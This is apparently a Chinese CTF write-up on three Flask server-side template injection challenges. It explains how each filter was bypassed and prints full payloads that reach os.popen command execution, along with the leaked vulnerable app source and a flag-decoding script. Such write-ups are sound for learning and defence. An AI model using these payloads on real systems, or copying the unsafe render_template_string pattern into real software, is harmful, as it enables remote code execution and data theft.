python ssti
前面的登录页面没有什么用,直接用快捷键查看网页源代码,发现注释里有相应链接,前往即可.
过滤了两个连续的大括号、下划线、双引号和一部分单词. 因此使用{%print ...%}
+中括号+单引号+\x5f
绕过,cat
改为tac
.
用GET
方法传入参数name
.
1 {%print ()['\x5f\x5fcla' 'ss\x5f\x5f' ]['\x5f\x5fbase\x5f\x5f' ]['\x5f\x5fsubcla' 'sses\x5f\x5f' ]()[207 ]['\x5f\x5fin' 'it\x5f\x5f' ]['\x5f\x5fglo' 'bals\x5f\x5f' ]['\x5f\x5fbuil' 'tins\x5f\x5f' ]['ev' 'al' ]('\x5f\x5fimp' 'ort\x5f\x5f(\'os\').popen(\'ls /\').read()' )%}
Source:题库
flask
看源码提示要进/admin
,然而末尾必须以.js?
结束. 那么可以通过查询字符串的方式访问这个页面.
提示传入name
参数,根据题目名字不难看出存在ssti漏洞. 尝试{{3*3}}
返回9,证明了上述猜测.
尝试一下发现禁止了__
、subclasses
、builtins
和[
的使用,于是尝试利用attr
加引号分隔绕过.
1 {{()|attr('_' '_class_' '_' )|attr('_' '_base_' '_' )|attr('_' '_subcl' 'asses_' '_' )()|attr('_' '_getitem_' '_' )(186 )|attr('_' '_init_' '_' )|attr('_' '_globals_' '_' )|attr('_' '_getitem_' '_' )('_' '_buil' 'tins_' '_' )|attr('_' '_getitem_' '_' )('eval' )('_' '_import_' '_("os").popen("cat /flag").read()' )}}
url:
1 http://***/admin?name= {{()| attr(%27 _%27 %27 _class_%27 %27 _%27 )| attr(%27 _%27 %27 _base_%27 %27 _%27 )| attr(%27 _%27 %27 _subcl%27 %27 asses_%27 %27 _%27 )()| attr(%27 _%27 %27 _getitem_%27 %27 _%27 )(186 )| attr(%27 _%27 %27 _init_%27 %27 _%27 )| attr(%27 _%27 %27 _globals_%27 %27 _%27 )| attr(%27 _%27 %27 _getitem_%27 %27 _%27 )(%27 _%27 %27 _buil%27 %27 tins_%27 %27 _%27 )| attr(%27 _%27 %27 _getitem_%27 %27 _%27 )(%27 eval%27 )(%27 _%27 %27 _import_%27 %27 _(%22 os%22 ).popen(%22 cat%20 /flag%22 ).read()%27 )}} &.js?
Source:题库
非主流の名泩荿噐
输入{{3*3}}
,返回9,表明存在ssti
注入. 尝试发现_
、[
、]
、.
、'
被过滤. 于是使用attr
的方法绕过,并将_
用\x5f
代替、.
用\x2e
代替,获得payload
:
1 {{()|attr("\x5f\x5fclass\x5f\x5f" )|attr("\x5f\x5fbase\x5f\x5f" )|attr("\x5f\x5fsubclasses\x5f\x5f" )()|attr("\x5f\x5fgetitem\x5f\x5f" )(132 )|attr("\x5f\x5finit\x5f\x5f" )|attr("\x5f\x5fglobals\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fbuiltins\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("eval" )("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"ls /\")\x2eread()" )}}
发现没有flag
文件,并且环境变量内也没有. 于是读一下该网页的源码:
1 {{()|attr("\x5f\x5fclass\x5f\x5f" )|attr("\x5f\x5fbase\x5f\x5f" )|attr("\x5f\x5fsubclasses\x5f\x5f" )()|attr("\x5f\x5fgetitem\x5f\x5f" )(132 )|attr("\x5f\x5finit\x5f\x5f" )|attr("\x5f\x5fglobals\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("\x5f\x5fbuiltins\x5f\x5f" )|attr("\x5f\x5fgetitem\x5f\x5f" )("eval" )("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"cat app\x2epy\")\x2eread()" )}}
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import randomfrom flask import Flask, render_template_string, render_template, requestimport osfrom itsdangerous import base64_encode app = Flask(__name__) app.config["SECRET_KEY" ] = "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。" def encode (flag, key ): f = "" .join( chr ((ord (flag[i]) + base64_encode(key)[i] - ord ("a" )) % 26 + ord ("a" )) if "a" <= flag[i] <= "z" else chr ( (ord (flag[i]) + base64_encode(key)[i] - ord ("0" )) % 10 + ord ("0" )) if "0" <= flag[i] <= "9" else flag[i] for i in range (len (flag))) return "" .join(f[j * 3 + i] for i in range (3 ) for j in range (int (len (f) / 3 + 0.5 ))) file = open ('/app/flag' , 'r' ) flag = file.read() app.config["flag" ] = encode(flag, app.config["SECRET_KEY" ]) flag = '' os.remove('/app/flag' ) nicknames = [ "☆恨☆情☆缘_%s_☆恨☆情☆缘" , "%s 莪κμ迩鈊疼" , "%s ◇灬絯吇氣" , "℡莪們吥蓜愛 %s " , "づ咔哇嗳咿の%s" , "%s, 封殺ろ皒 )(葬爱" , "皇族♔%s♔皇族" , "[♂+♂=♥]%s[♂+♂=♥]" ]@app.route("/" , methods=["GET" , "POST" ] ) def index (): if request.method == "POST" : try : p = request.values.get("nickname" ) id = random.randint(0 , len (nicknames) - 1 ) if p != None : if "." in p or "_" in p or "\"" in p: return '存在非法字符' return render_template_string(nicknames[id ] % p) except Exception as e: print (e) return "Exception" return render_template("index.html" )if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 )
可以发现flag
文件被加密处理之后存到了变量内. 于是读取一下变量:
发现加密具有周期性,于是尝试通过多次嵌套加密还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from itsdangerous import base64_encodedef encode (flag, key ): f = "" .join( chr ((ord (flag[i]) + base64_encode(key)[i] - ord ("a" )) % 26 + ord ("a" )) if "a" <= flag[i] <= "z" else chr ( (ord (flag[i]) + base64_encode(key)[i] - ord ("0" )) % 10 + ord ("0" )) if "0" <= flag[i] <= "9" else flag[i] for i in range (len (flag))) return "" .join(f[j * 3 + i] for i in range (3 ) for j in range (int (len (f) / 3 + 0.5 ))) key= "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。" flag='gdf388-02y133sf{u8-26y7-j8efc63enr8-g2gi0}' for i in range (100000 ): flag=encode(flag, key) if (flag[:4 ]=="flag" ): print (flag) print (encode(flag, key))
找到经过下次加密之后变为原来的字符串的值,即为flag.